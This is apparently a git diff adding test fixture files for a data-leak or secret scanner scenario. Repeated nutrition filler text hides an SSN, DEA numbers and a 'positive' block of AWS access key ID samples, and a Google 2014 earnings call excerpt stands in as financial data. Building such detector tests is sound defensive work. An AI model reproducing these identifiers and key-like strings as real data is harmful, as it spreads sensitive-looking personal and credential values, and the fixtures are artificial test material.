kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +"dea2": "DEA # BB4053839 | BJ6125341 " + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt new file mode 100644 index 0000000..a7ee20d --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/PII_Health_IP_with_multiline_v2.txt @@ -0,0 +1,243 @@ + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Health care - DEA BB4053839 | BJ6125341 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + "positive": { + "aaki1": "022QF06E7MXBSH9DHM02 AWS Access Key", + "aaki2": "Access Key ID 022QF06E7MXBSH9DHM02", + "aaki3": "022QF06E7MXBSH9DHM02 Key ID", + "aaki4": "Amazon Web Services 022QF06E7MXBSH9DHM02" + } + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + + + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +ssn 098-07-3316 Current Time : May 6th 2:50 + + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. + +Fruits and vegetables contain important vitamins, minerals and plant chemicals. They also contain fibre. +There are many varieties of fruit and vegetables available and many ways to prepare, cook and serve them. +A diet high in fruit and vegetables can help protect you against cancer, diabetes and heart disease. +Eat five kinds of vegetable and two kinds of fruit every day for good health. +Most Australians do not eat enough fruit and vegetables. +When buying and serving fruit and vegetables, aim for variety to get the most nutrients and appeal. diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt b/scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt new file mode 100644 index 0000000..ec63106 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/0_PII.txt @@ -0,0 +1 @@ +219-42-2331 \ No newline at end of file diff --git a/scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt b/scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt new file mode 100644 index 0000000..6e07af7 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/s3_files/2_FinInfo_new.txt @@ -0,0 +1,602 @@ +Q3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani +Other Participants +• Eric J. Sheridan +• Justin Post +• Stephen Ju +• Mark S. Mahaney +• Ross A. Sandler. +• Ben Schachter +• Anthony DiClemente +• Carlos Kirjner-Neto +• Douglas T. Anmuth +• Mark A. May +• Peter C. Stabler +• Heather A. Bellini +• Paul Vogel +• Brian J. Pitz +MANAGEMENT DISCUSSION SECTION +Operator April_05_01 +Good day and welcome, everyone, to the Google, Inc. third quarter 2014 earnings conference call. This call is being +recorded. +At this time, I would like to turn the call over to Ellen West, Vice President, Investor Relations. Please go ahead. +Ellen West +Thank you, Jamie. Good afternoon, everyone, and welcome to Google's third quarter 2014 earnings conference call. +With us today are Patrick Pichette and Omid Kordestani. +As you know, you can access our earnings release through our investor relations website located at +investor.google.com, so please refer to our IR website for our earnings releases as well as the supplementary slides that +accompany the call. You can also visit our Google+ Investor Relations page for the latest company news and updates. +This call is also being webcast from investor.google.com. A replay of the call will be available on our website later +today. +Now let me quickly cover the Safe Harbor. Some of the statements that we make today may be considered +forward-looking, including statements regarding Google's future investments, our long-term growth and innovation, the +expected performance of our businesses and our expected level of capital expenditures. These statements involve a +number of risks and uncertainties that could cause actual results to differ materially. +Please note that these forward-looking statements reflect our opinions only as of the date of this presentation and we +undertake no obligation to revise or publicly release the results of any revisions to these forward-looking statements in +light of new information or future events. Please refer to our SEC filings for a more detailed description of the risk +factors that may affect our results. +Please note that certain financial measures that we use on this call, such as operating income and operating margin are +expressed on a non-GAAP basis and have been adjusted to exclude charges related to stock-based compensation and, as +applicable, other special items. +We've also adjusted our net cash provided by operating activities to remove capital expenditures, which we refer to as +free cash flow. Our GAAP results and reconciliations of non-GAAP to GAAP measures can be found in our earnings +press release. +With that, I will now turn the call over to Patrick. +Patrick Pichette +Thanks, Ellen. As some of you may know, we have a new leader in our Investor Relations team at Google. Her name is +Ellen West. That's the great voice you just heard a minute ago, second ago. Ellen is a longtime Googler who joined us +in 2007. Although she's here with us today in Mountain View, she's actually based out of New York, and that will give +us a bit more footprint on the East Coast as well. So Ellen, welcome to the team. +What that, let's dive into the details of Google's financial performance for Q3. Our gross total consolidated revenue +grew a healthy 20% year-over-year to $16.5 billion and was up 4% quarter-over-quarter. Without currency fluctuations, +our gross total consolidated revenue growth would have been 19% year-over-year. Google sites revenue was also up +20% year-over-year to $11.3 billion, and was up 3% quarter-over-quarter driven by the strength in our Mobile Search. +Network revenue was up 9% year-over-year at $3.4 billion and was flat quarter-over-quarter, driven by improved +year-over-year growth in the AdMob and the AdExchange businesses. Finally, Google's other revenue grew a healthy +50% year-over-year to $1.8 billion and was up 15% quarter-over-quarter, this driven by year-over-year growth mainly +from the Play Store, but also complemented by an increase in licensing revenue. +Our global aggregate paid click growth was strong this quarter, up 17% year-over-year and up 2% quarter-over-quarter. +Aggregate CPCs were down only 2% year-over-year and flat quarter-over-quarter. And without currency fluctuations, +aggregate cost-per-click would've been down 1%, and in fact up 1% quarter-over-quarter. As we began to do in our last +earnings call, we continue to disclose paid clicks and cost-per-click changes by property type as well, in addition to the +aggregate number. So to that end, Google Sites paid clicks were up 24% year-over-year and up 4% +quarter-over-quarter. Google Sites CPC were down 4% year-over-year and down 1% quarter-over-quarter. Our +Network paid clicks were up 2% year-over-year and down 4% quarter-over-quarter, and Network CPCs were down 4% +year-over-year but up 2% quarter-over-quarter. Our aggregate monetization metrics continue to be impacted by a +number of factors including geographic mix, device mix, property mix, as well as ongoing product and policy changes. +Turning to geographic performance now, we saw solid performance in the U.S. as well as in the rest of the world. In +our earnings slides, which you can find on our Investor Relations website, you'll see that we've broken down our +revenue by U.S., U.K., and the rest-of-world to show the impact of FX and the benefits of our hedging program, so +please refer to those slides for the exact calculations. U.S. revenue was up 15% year-over-year to $7 billion. The U.K. +was up 17% year-over-year to $1.6 billion, and in fixed FX terms the U.K. grew 10% year-over-year. In the U.K., +growth was impacted by a combination of factors this quarter, including platform and property mix as well as tough +comps from year-over-year and quarter-over-quarter growth rates for a number of reasons including, for example, +weather. Our non-U.S. revenue excluding the U.K. was up 26% year-over-year to $7.9 billion. This accounted for 48% +of total revenue, which includes a $10 million benefit from our hedging program. In fixed FX term in fact, the rest of +the world also grew 26% year-over-year. Very healthy. +Let me now turn to expenses. Traffic acquisition costs were $3.3 billion or 23% of total advertising revenue. Our +non-GAAP other cost of revenue was $2.8 billion in Q3, which excludes stock-based compensation [SBC] and also a +non-cash impairment charge of $378 million related to a patent licensing royalty asset acquired as part of our Motorola +Mobility purchase. Non-GAAP operating expense totaled $5 billion, again excluding SBC, and as a result our +non-GAAP operating profit was $5 billion and our non-GAAP operating margin were 32% in Q3. +Headcount was up roughly 3,000 in Q3. In total, we ended the quarter with approximately 55,000 full-time employees, +and please note that the head count does include still approximately 3,500 full-time employees from the Motorola +business. In the past year, we continued to attract and hire the best talent from the best colleges and universities from +all around the world. Continuing our past trend, graduate starts are much more heavily concentrated in Q3, which is +part of why you're seeing the significant bump in head count, with the majority being tech hires, I want to kind of – +precise. +Our effective tax rate for the quarter was 22% for Q3, and which includes the impact of the impairment charge that I +mentioned earlier, which is a non-deductible for income tax purposes. +Let me turn now to cash management. OI&E, or other income and expenses, was $133 million. Interest income and +realized gains on investments offset the continued impact of expenses from our FX hedging program. And for more +details on OI&E, please do refer to the slides that accompany this call on our IR website. +We continue to be happy with our strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched 